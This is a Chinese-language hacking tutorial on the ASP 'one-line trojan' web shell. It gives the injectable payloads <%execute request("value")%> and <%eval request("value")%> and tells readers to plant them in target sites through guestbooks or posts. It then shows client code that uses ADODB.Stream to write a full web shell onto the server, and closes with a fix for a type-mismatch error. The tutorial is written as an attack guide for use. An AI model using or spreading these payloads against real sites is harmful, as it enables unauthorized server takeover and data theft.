一句话木马
黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:
<%execute request("value")%>
<%eval request("value")%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的实用)
当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。(不知道数据库也可以,只要知道<%eval request("value")%>这个文件被插入到哪一个ASP文件里面就可以了。)
这就被称为一句话木马,它是基于B/S结构的。
使用方法首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到asp数据库
或者加进asp网页.
记住!我们的目的是把一句话<%execute request("value")%>添加到数据库,无论任何方式!
然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是asp网页,然后杀进去!,这就可以干你想干的事情了!(作者:蚊虫)
一句话木马原理
首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:
<textarea name=# cols="80" rows="10">
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
</textarea>
学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的writetext方法将 request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp
文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect "aoyunwan.asp" 转向写入的文件,就是我们最后见的大马了!
关于服务器错误
经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:
Script error detected at line 1.
Source line:execute request("nettoo")
Description:类型不匹配: 'execute'
这个如何解决呢?
想出了一个好办法,只要用"eval"替换掉"execute"服务端,就不会出错了!